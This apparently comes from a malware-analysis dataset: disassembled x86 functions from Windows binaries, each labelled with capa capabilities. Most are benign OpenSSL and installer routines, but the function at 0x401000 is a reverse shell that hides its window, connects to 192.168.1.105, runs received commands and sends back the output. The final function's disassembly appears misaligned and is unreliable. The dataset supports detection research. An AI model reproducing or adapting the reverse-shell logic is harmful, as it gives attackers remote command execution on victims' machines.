joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5705f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x6c
call fcn.004ed940
mov eax, dword [0x643004]
xor eax, esp
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x74]
push ebx
mov dword [esp + 0xc], eax
xor ebx, ebx
mov eax, dword [esp + 0x7c]
push ebp
mov ebp, dword [esp + 0x78]
push esi
mov dword [esp + 0x10], eax
xor esi, esi
mov dword [eax], ebx
lea eax, [esp + 0x1c]
push edi
mov edi, dword [esp + 0x8c]
push eax
call fcn.005038c0
lea eax, [esp + 0x24]
push ebp
push eax
call fcn.00503720
add esp, 0xc
test eax, eax
je 0x5706f2
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x28]
push eax
call fcn.00503400
add esp, 0xc
test eax, eax
je 0x5706f2
lea eax, [esp + 0x20]
push eax
call fcn.00503660
mov esi, dword [ebp]
add esp, 4
test byte [esi + 0xc], 4
je 0x570710
push edi
call fcn.00504790
push ebx
push edi
mov dword [esp + 0x1c], eax
call fcn.005189c0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x5706f2
push esi
call fcn.0056a020
add esp, 4
test eax, eax
jle 0x5706f2
push dword [ebp]
push ebx
push 1
push 0xf8
push 0xffffffffffffffff
push esi
call fcn.00518640
add esp, 0x18
test eax, eax
jle 0x5706f2
push dword [esp + 0x1c]
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x24]
push esi
call fcn.00569f30
add esp, 0x14
test eax, eax
jle 0x5706f2
mov ecx, dword [esp + 0x14]
mov ebx, 1
mov eax, dword [esp + 0x10]
mov dword [ecx], eax
push esi
call fcn.00518910
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x68]
xor ecx, esp
call fcn.00482be9
add esp, 0x6c
ret
xor eax, eax
lea ecx, [esi + 0x2c]
mov edx, dword [ecx]
test edx, edx
je 0x570728
cmp dword [edi], edx
je 0x570752
inc eax
add ecx, 4
cmp eax, 4
jl 0x570715
push 0x7b
push str..cryptoevpp_sign.c
push 0x6e
push 0x6b
push 6
call fcn.004f0540
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x68]
xor ecx, esp
call fcn.00482be9
add esp, 0x6c
ret
mov eax, dword [esi + 0x24]
test eax, eax
jne 0x570786
push 0x80
push str..cryptoevpp_sign.c
push 0x68
push 0x6b
push 6
call fcn.004f0540
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x68]
xor ecx, esp
call fcn.00482be9
add esp, 0x6c
ret
push dword [edi + 0x14]
mov ecx, dword [esp + 0x18]
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x44]
push dword [esp + 0x28]
push ecx
push dword [esi]
call eax
mov ecx, dword [esp + 0x90]
add esp, 0x18
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00482be9
add esp, 0x6c
ret
Function at 0x57d760
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
push ebx
mov ebx, dword [esp + 0x10]
push ebp
mov ecx, dword [edx + 4]
mov ebp, edx
push edi
cmp ecx, dword [ebx + 4]
mov edi, dword [esp + 0x10]
cmovge ebp, ebx
cmovge ebx, edx
mov eax, dword [ebx + 4]
cmp eax, dword [edi + 8]
jg 0x57d789
mov eax, edi
jmp 0x57d793
push eax
push edi
call fcn.00509360
add esp, 8
test eax, eax
jne 0x57d79b
pop edi
pop ebp
pop ebx
ret
xor eax, eax
cmp dword [ebp + 4], eax
jle 0x57d7ba
push esi
mov ecx, dword [ebx]
mov edx, dword [ebp]
mov esi, dword [ecx + eax*4]
mov ecx, dword [edi]
xor esi, dword [edx + eax*4]
mov dword [ecx + eax*4], esi
inc eax
cmp eax, dword [ebp + 4]
jl 0x57d7a3
pop esi
cmp eax, dword [ebx + 4]
jge 0x57d7d0
nop
mov ecx, dword [ebx]
mov edx, dword [edi]
mov ecx, dword [ecx + eax*4]
mov dword [edx + eax*4], ecx
inc eax
cmp eax, dword [ebx + 4]
jl 0x57d7c0
mov ecx, dword [ebx + 4]
mov dword [edi + 4], ecx
test ecx, ecx
jle 0x57d7f3
mov edx, dword [edi]
add edx, 0xfffffffc
lea edx, [edx + ecx*4]
mov eax, dword [edx]
lea edx, [edx - 4]
test eax, eax
jne 0x57d7f0
dec ecx
test ecx, ecx
jg 0x57d7e2
mov dword [edi + 4], ecx
cmp dword [edi + 4], 0
jne 0x57d800
mov dword [edi + 0xc], 0
pop edi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x58c6d0
Capabilities:
Encode data using base64

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x14]
xor ebx, ebx
test esi, esi
jle 0x58c7bc
mov edx, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x14]
inc edi
nop word [eax + eax]
cmp esi, 3
jl 0x58c74d
movzx ecx, byte [edi - 1]
movzx eax, byte [edi]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
mov eax, ecx
shr eax, 0x12
movzx eax, byte [eax + 0x6114a8]
mov byte [edx], al
mov eax, ecx
shr eax, 0xc
and eax, 0x3f
movzx eax, byte [eax + 0x6114a8]
mov byte [edx + 1], al
mov eax, ecx
shr eax, 6
and eax, 0x3f
movzx eax, byte [eax + 0x6114a8]
mov byte [edx + 2], al
add edx, 3
and ecx, 0x3f
movzx eax, byte [ecx + 0x6114a8]
mov byte [edx], al
jmp 0x58c7a1
movzx eax, byte [edi - 1]
shl eax, 0x10
cmp esi, 2
jne 0x58c761
movzx ecx, byte [edi]
shl ecx, 8
or eax, ecx
mov ecx, eax
shr ecx, 0x12
movzx ecx, byte [ecx + 0x6114a8]
mov byte [edx], cl
mov ecx, eax
shr ecx, 0xc
and ecx, 0x3f
movzx ecx, byte [ecx + 0x6114a8]
mov byte [edx + 1], cl
cmp esi, 1
jne 0x58c78b
lea eax, [esi + 0x3c]
jmp 0x58c798
shr eax, 6
and eax, 0x3f
movzx eax, byte [eax + 0x6114a8]
mov byte [edx + 2], al
add edx, 3
mov byte [edx], 0x3d
sub esi, 3
add ebx, 4
add edi, 3
inc edx
test esi, esi
jg 0x58c6f0
pop edi
pop esi
mov eax, ebx
mov byte [edx], 0
pop ebx
ret
mov eax, dword [esp + 0xc]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
ret
Function at 0x5ac710
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xa8
call fcn.004ed940
mov eax, dword [0x643004]
xor eax, esp
mov dword [esp + 0xa4], eax
mov eax, dword [esp + 0xac]
push ebx
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xb4]
push ebp
push esi
mov esi, dword [esp + 0xc4]
xor ebp, ebp
mov eax, dword [eax + 4]
push edi
mov edi, dword [esp + 0xc4]
mov dword [esp + 0x14], eax
sub eax, edi
mov dword [esp + 0x10], eax
cmp esi, edi
jae 0x5ac776
push str.orig_len___md_size
push 0xf8
push str.._ssl_s3_cbc.c
call fcn.004fa1c0
add esp, 0xc
cmp edi, 0x40
jbe 0x5ac792
push str.md_size___EVP_MAX_MD_SIZE
push 0xf9
push str.._ssl_s3_cbc.c
call fcn.004fa1c0
add esp, 0xc
lea eax, [esp + 0x34]
neg eax
lea ebx, [esp + 0x34]
and eax, 0x3f
add ebx, eax
lea eax, [edi + 0x100]
mov dword [esp + 0x20], ebx
cmp esi, eax
jbe 0x5ac7b9
mov ebp, esi
sub ebp, edi
sub ebp, 0x100
mov eax, edi
xor edx, edx
and eax, 0xfffffffe
shl eax, 0x17
sub eax, ebp
add eax, dword [esp + 0x10]
div edi
push edi
mov esi, edx
push 0
push ebx
mov dword [esp + 0x38], esi
call fcn.00484a00
add esp, 0xc
mov dword [esp + 0x18], 0
cmp ebp, dword [esp + 0xc8]
jae 0x5ac8b1
mov ecx, dword [esp + 0x10]
mov edx, ecx
mov ebx, dword [esp + 0x14]
mov esi, ebx
mov eax, dword [esp + 0xc0]
sub esi, ecx
shr edx, 0x1f
mov dword [esp + 0x1c], edx
mov edx, ebx
shr edx, 0x1f
mov eax, dword [eax + 0xc]
mov dword [esp + 0x14], edx
mov edx, ebp
sub edx, ebx
mov dword [esp + 0x24], esi
mov esi, dword [esp + 0x20]
add eax, ebx
mov dword [esp + 0x10], edx
mov dword [esp + 0x28], eax
mov ebx, dword [esp + 0x24]
mov ecx, ebp
shr ecx, 0x1f
inc ebp
mov al, cl
xor al, byte [esp + 0x1c]
lea ebx, [ebx + edx]
shr edx, 0x1f
xor dl, byte [esp + 0x14]
shr ebx, 0x1f
xor bl, byte [esp + 0x1c]
or bl, al
mov al, cl
xor al, byte [esp + 0x14]
xor bl, cl
or dl, al
dec bl
mov eax, dword [esp + 0x10]
xor dl, cl
mov ecx, dword [esp + 0x28]
dec dl
not dl
mov al, byte [ecx + eax]
mov ecx, dword [esp + 0x18]
and dl, al
and dl, bl
or byte [ecx + esi], dl
mov edx, ecx
inc edx
mov ecx, edx
mov eax, edx
sub ecx, edi
xor eax, edi
xor ecx, edi
or ecx, eax
xor ecx, edx
shr ecx, 0x1f
neg ecx
and edx, ecx
mov dword [esp + 0x18], edx
mov edx, dword [esp + 0x10]
inc edx
mov dword [esp + 0x10], edx
cmp ebp, dword [esp + 0xc8]
jb 0x5ac830
mov esi, dword [esp + 0x2c]
mov ebx, dword [esp + 0x20]
xor edx, edx
test edi, edi
je 0x5ac8ea
mov ebp, dword [esp + 0x30]
nop dword [eax + eax]
mov eax, esi
xor eax, 0x20
mov al, byte [eax + ebx]
movzx eax, byte [esi + ebx]
inc esi
mov byte [edx + ebp], al
mov ecx, esi
sub ecx, edi
mov eax, esi
xor ecx, edi
xor eax, edi
or ecx, eax
inc edx
xor ecx, esi
shr ecx, 0x1f
neg ecx
and esi, ecx
cmp edx, edi
jb 0x5ac8c0
mov ecx, dword [esp + 0xb4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00482be9
add esp, 0xa8
ret
Function at 0x5ad320
Capabilities:
Encode data using xor

Disassembly:
mov eax, 4
call fcn.004ed940
push ebp
mov ebp, dword [esp + 0x18]
push esi
mov esi, dword [esp + 0x14]
inc ebp
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 8]
mov eax, dword [eax + 0x64]
test byte [eax + 0x38], 1
je 0x5ad368
mov ecx, dword [esp + 0x1c]
mov edx, dword [esi + 4]
lea eax, [ecx + ebp]
cmp eax, edx
jbe 0x5ad35b
pop edi
pop esi
xor eax, eax
pop ebp
pop ecx
ret
add dword [esi + 0xc], ecx
add dword [esi + 0x10], ecx
sub edx, ecx
mov dword [esi + 4], edx
jmp 0x5ad36d
cmp ebp, dword [esi + 4]
ja 0x5ad354
test dword [edi + 0x100], 0x200
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 4]
push ebx
movzx ebx, byte [ecx + eax - 1]
je 0x5ad3c0
cmp dword [edi + 0x88], 0
jne 0x5ad3c0
mov eax, dword [edi + 0x58]
push 8
add eax, 8
push 0x6172b8
push eax
call fcn.004f9e20
add esp, 0xc
test eax, eax
jne 0x5ad3b3
test bl, 1
jne 0x5ad3b3
mov eax, dword [edi + 0x58]
or dword [eax], 8
mov eax, dword [edi + 0x58]
test byte [eax], 8
je 0x5ad3c0
test ebx, ebx
je 0x5ad3c0
dec ebx
mov eax, dword [edi + 0x80]
push dword [eax]
call fcn.005039e0
add esp, 4
test eax, 0x200000
je 0x5ad3ea
or eax, 0xffffffff
sub eax, ebx
add dword [esi + 4], eax
mov eax, 1
pop ebx
pop edi
pop esi
pop ebp
pop ecx
ret
mov edi, dword [esi + 4]
lea ecx, [ebx + ebp]
mov edx, edi
mov dword [esp + 0x10], edi
sub edx, ecx
mov eax, edi
xor edx, ecx
xor eax, ecx
or edx, eax
mov ebp, 0xff
xor edx, edi
lea eax, [edi - 1]
shr edx, 0x1f
dec edx
cmp eax, ebp
mov dword [esp + 0x24], edx
cmovb ebp, eax
xor edx, edx
test ebp, ebp
je 0x5ad46f
mov ecx, ebx
dec edi
shr ecx, 0x1f
add edi, dword [esi + 0xc]
mov dword [esp + 0x18], ecx
nop word [eax + eax]
mov ecx, ebx
lea edi, [edi - 1]
sub ecx, edx
mov eax, edx
shr ecx, 0x1f
inc edx
shr eax, 0x1f
xor cl, al
xor al, byte [esp + 0x18]
or cl, al
movzx eax, byte [edi + 1]
xor cl, byte [esp + 0x18]
xor eax, ebx
dec cl
movzx ecx, cl
and ecx, eax
mov eax, dword [esp + 0x24]
not ecx
and eax, ecx
mov dword [esp + 0x24], eax
cmp edx, ebp
jb 0x5ad430
mov edi, dword [esp + 0x10]
jmp 0x5ad473
mov eax, dword [esp + 0x24]
not eax
movzx eax, al
lea ecx, [eax - 1]
not eax
shr eax, 0x1f
shr ecx, 0x1f
and ecx, eax
lea eax, [ebx + 1]
neg ecx
and eax, ecx
sub edi, eax
shl eax, 8
or dword [esi], eax
mov eax, ecx
pop ebx
mov dword [esi + 4], edi
and eax, 1
pop edi
not ecx
pop esi
or eax, ecx
pop ebp
pop ecx
ret
Function at 0x5ad890
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x14
call fcn.004ed940
push ebx
push esi
push edi
lea eax, [esp + 0x10]
xor edi, edi
push eax
lea eax, [esp + 0x10]
xor esi, esi
push eax
push edi
call fcn.00595a10
add esp, 0xc
test eax, eax
je 0x5adaab
mov ebx, dword [esp + 0x24]
mov eax, dword [esp + 0xc]
inc edi
shl eax, 0xa
test ebx, eax
lea eax, [esi + 1]
cmove eax, esi
mov esi, eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x10]
push eax
push edi
call fcn.00595a10
add esp, 0xc
test eax, eax
jne 0x5ad8c0
test esi, esi
je 0x5adaab
mov eax, dword [esp + 0x54]
cdq
idiv esi
mov edi, dword [esp + 0x60]
cmp esi, 1
push ebp
mov ebp, dword [esp + 0x5c]
mov esi, 0
cmovne esi, dword [esp + 0x58]
push edi
push 0
push ebp
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], esi
call fcn.00484a00
lea eax, [esp + 0x20]
mov dword [esp + 0x2c], 0
push eax
lea eax, [esp + 0x20]
push eax
push 0
call fcn.00595a10
add esp, 0x18
test eax, eax
je 0x5ada76
mov ebx, dword [esp + 0x60]
nop word [eax + eax]
mov eax, dword [esp + 0x10]
shl eax, 0xa
test dword [esp + 0x28], eax
je 0x5ada52
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x5ada83
push edi
push ebx
push dword [esp + 0x58]
and esi, 1
push dword [esp + 0x58]
add esi, dword [esp + 0x2c]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push esi
mov esi, dword [esp + 0x88]
push esi
push ecx
call fcn.005adad0
add esp, 0x3c
test eax, eax
je 0x5adaa1
add esi, dword [esp + 0x1c]
xor ecx, ecx
mov dword [esp + 0x54], esi
test edi, edi
jle 0x5ada4e
cmp edi, 0x20
jb 0x5ada2b
lea eax, [ebx - 1]
lea edx, [ebp - 1]
add eax, edi
add edx, edi
cmp ebp, eax
ja 0x5ad9e1
cmp edx, ebx
jae 0x5ada2b
mov eax, edi
and eax, 0x8000001f
jns 0x5ad9ef
dec eax
or eax, 0xffffffe0
inc eax
mov edx, edi
mov esi, ebx
sub edx, eax
mov eax, ebp
sub esi, ebp
nop dword [eax]
movups xmm0, xmmword [eax]
lea eax, [eax + 0x20]
movups xmm1, xmmword [esi + eax - 0x20]
pxor xmm1, xmm0
movups xmmword [eax - 0x20], xmm1
movups xmm1, xmmword [ebx + ecx + 0x10]
add ecx, 0x20
movups xmm0, xmmword [eax - 0x10]
pxor xmm1, xmm0
movups xmmword [eax - 0x10], xmm1
cmp ecx, edx
jl 0x5ada00
cmp ecx, edi
jge 0x5ada4e
mov esi, ebx
lea eax, [ecx + ebp]
mov edx, edi
sub esi, ebp
sub edx, ecx
nop word [eax + eax]
mov cl, byte [eax + esi]
lea eax, [eax + 1]
xor byte [eax - 1], cl
sub edx, 1
jne 0x5ada40
mov esi, dword [esp + 0x18]
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x14]
inc eax
push ecx
push eax
mov dword [esp + 0x2c], eax
call fcn.00595a10
add esp, 0xc
test eax, eax
jne 0x5ad950
mov eax, 1
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x14
ret
push 0x114
push str.._ssl_t1_enc.c
push 0x146
push 0x11c
push 0x14
call fcn.004f0540
add esp, 0x14
pop ebp
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x14
ret
push 0x109
push str.._ssl_t1_enc.c
push 0x44
push 0x11c
push 0x14
call fcn.004f0540
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x14
ret
Function at 0x5c89f0
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push edi
push 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov edi, dword [esp + 0xc]
push 0
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [edi + 0x1c]
call dword [sym.imp.WS2_32.dll_send]
push 0xf
push edi
mov esi, eax
call fcn.00507b60
add esp, 8
test esi, esi
jg 0x5c8a47
je 0x5c8a29
cmp esi, 0xffffffff
jne 0x5c8a47
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.005c8cb0
add esp, 4
test eax, eax
je 0x5c8a47
push 0xa
push edi
call fcn.005084f0
add esp, 8
pop edi
mov eax, esi
pop esi
ret
Function at 0x401000
Capabilities:
Connect socket
Hide graphical window
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x308c
call fcn.00401ea0
mov eax, dword [0x403004]
xor eax, esp
mov dword [esp + 0x3088], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
mov edi, eax
push 6
push edi
call esi
push 0
push edi
call esi
lea eax, [esp + 0x20]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x3e6
mov esi, eax
mov byte [esp + 0x1b4], 0
lea eax, [esp + 0x1b5]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
test esi, esi
jne 0x4011f6
push esi
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
push str.192.168.1.105
mov dword [esp + 0x10], edi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 0x14], eax
mov eax, 2
push 0x115b
mov word [esp + 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x10]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x4011e9
push esi
push 0x3e7
lea eax, [esp + 0x1b8]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4011e9
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
nop word [eax + eax]
lea eax, [esp + 0x1b0]
push 0x402148
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
push 0x270e
mov ebx, eax
mov byte [esp + 0x98c], 0
lea eax, [esp + 0x98d]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push ebx
lea eax, [esp + 0x5b0]
push 0x3e6
push eax
call esi
add esp, 0x20
test eax, eax
je 0x401198
nop dword [eax + eax]
lea eax, [esp + 0x598]
mov esi, eax
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401150
lea edi, [esp + 0x980]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401161
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x598]
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
push 0x3e6
push eax
call esi
add esp, 0xc
test eax, eax
jne 0x401140
mov edi, dword [esp + 0xc]
lea ecx, [esp + 0x980]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4011a2
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
lea eax, [esp + 0x988]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
add esp, 4
lea eax, [esp + 0x1b0]
push 0
push 0x3e7
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x4010f0
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x3094]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040120d
mov esp, ebp
pop ebp
ret
Function at 0x401a18
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401a57
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401a57
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401a57
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401a57
cmp dword [ecx + 0x74], 0xe
jbe 0x401a57
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x413b4e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x46a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x20c]
push esi
push 0x208
xor esi, esi
push esi
push eax
call fcn.0042f8e0
add esp, 0xc
mov dword [ebp - 0x21c], esi
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], esi
mov dword [ebp - 0x218], esi
mov dword [ebp - 0x214], esi
mov esi, 0x104
push eax
push esi
call dword [sym.imp.kernel32.dll_GetTempPathW]
test eax, eax
jne 0x413bec
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x413bc3
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x413bca
mov esi, 0x80004005
push esi
push 0x28d
push str.logging.cpp
call fcn.00403821
push str.Failed_to_get_temp_folder.
push esi
call main
pop ecx
pop ecx
jmp 0x413cdd
lea eax, [ebp - 0x218]
push eax
push esi
lea eax, [ebp - 0x20c]
push eax
call main
mov esi, eax
test esi, esi
jns 0x413c0d
push str.Failed_to_get_length_of_temp_folder.
jmp 0x413bdf
push edi
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.kernel32.dll_ProcessIdToSessionId]
test eax, eax
je 0x413cb5
push dword [ebp - 0x21c]
lea eax, [ebp - 0x210]
push 0x453f98
push eax
call main
mov esi, eax
add esp, 0xc
test esi, esi
jns 0x413c54
push str.Failed_to_format_session_id_as_a_string.
jmp 0x413cd4
lea eax, [ebp - 0x214]
push eax
push SysReAllocString
push dword [ebp - 0x210]
call main
mov esi, eax
test esi, esi
jns 0x413c78
push str.Failed_to_get_length_of_session_id_string.
jmp 0x413cd4
push dword [ebp - 0x214]
mov esi, dword [ebp - 0x218]
lea eax, [ebp - 0x20c]
push dword [ebp - 0x210]
mov edi, esi
sub edi, dword [ebp - 0x214]
push dword [ebp - 0x214]
lea eax, [eax + edi*2]
push eax
push 0
push 0
call dword [sym.imp.kernel32.dll_CompareStringW]
cmp eax, 2
jne 0x413cbb
mov esi, edi
jmp 0x413cbb
mov esi, dword [ebp - 0x218]
push esi
lea eax, [ebp - 0x20c]
push eax
push ebx
call main
mov esi, eax
test esi, esi
jns 0x413cdc
push str.Failed_to_copy_temp_folder.
push esi
call main
pop ecx
pop ecx
pop edi
cmp dword [ebp - 0x210], 0
je 0x413cf1
push dword [ebp - 0x210]
call main
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042e06f
mov esp, ebp
pop ebp
ret 4
Function at 0x43fcae
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46b5d8
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x43fcf1
push str.SystemFunction040
push dword [0x46b5d8]
call edi
push str.SystemFunction041
push dword [0x46b5d8]
mov dword [0x46b5e0], eax
call edi
mov dword [0x46b5e4], eax
jmp 0x43fcf6
mov eax, dword [0x46b5e4]
cmp dword [0x46b5e0], 0
je 0x43fd07
test eax, eax
jne 0x43fdae
push 0x46b5dc
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x43fdb8
push str.CryptProtectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e0], 0
mov dword [0x46b5e8], eax
jne 0x43fd6c
test eax, eax
jne 0x43fd6c
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fd56
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fd5d
mov esi, 0x80004005
push esi
push 0x28
push str.cryputil.cpp
call fcn.00403821
jmp 0x43fdb8
push str.CryptUnprotectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e4], 0
mov dword [0x46b5ec], eax
jne 0x43fdae
test eax, eax
jne 0x43fdae
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fda2
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fda9
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x43fd60
mov dword [0x46b5f0], 1
pop edi
mov eax, esi
pop esi
ret

Function at 0x409e14
Capabilities:
Encode data using xor

Disassembly:
jb 0x409e58
add al, ch
adc eax, dword [edx]
pop ebp
and al, 0x83
les eax, [ecx + ecx*4]
inc ebp
call 0x8a2cfbb1
pop ebp
in al, 0x8b
pop ebp
in al, 0xff
xor ebp, dword [eax - 0x67]
mov ch, 0x50
add bh, bh
jne 0x409e1d
adc eax, dword [eax]
xchg ecx, eax
out dx, al
add al, ch
adc eax, dword [eax]
add dl, al
add esp, 0xc
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x409e55
push ebx
call 0x309da065
add esp, 4
mov ebx, dword [ebp - 0x14]
add ebx, 0xc
mov dword [ebp - 0x24], ebx
push 0x80000005
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x409e73
mov eax, 0x50acf6
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x409e87
mov eax, 0x50ac80
push eax
push 2
mov ebx, 0x428e00
call 0x249da0aa
add esp, 0x1c
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x409eaa
push ebx
call 0x309da0ba
add esp, 4
mov ebx, dword [ebp - 0x14]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
push dword [ebx]
push 0x50b599
mov ebx, dword [ebp - 0x18]
push dword [ebx]
mov ecx, 3
call 0xd0429ee5
add esp, 0xc
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x14]
add ebx, 0xc
mov dword [ebp - 0x24], ebx
push 0x80000005
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x409ef6
mov eax, 0x50acf6
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x409f0a
mov eax, 0x50ac80
push eax
push 2
mov ebx, 0x428e00
call 0x249da12d
add esp, 0x1c
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x409f2d
push ebx
call 0x309da13d
add esp, 4
jmp 0xcbcf9f45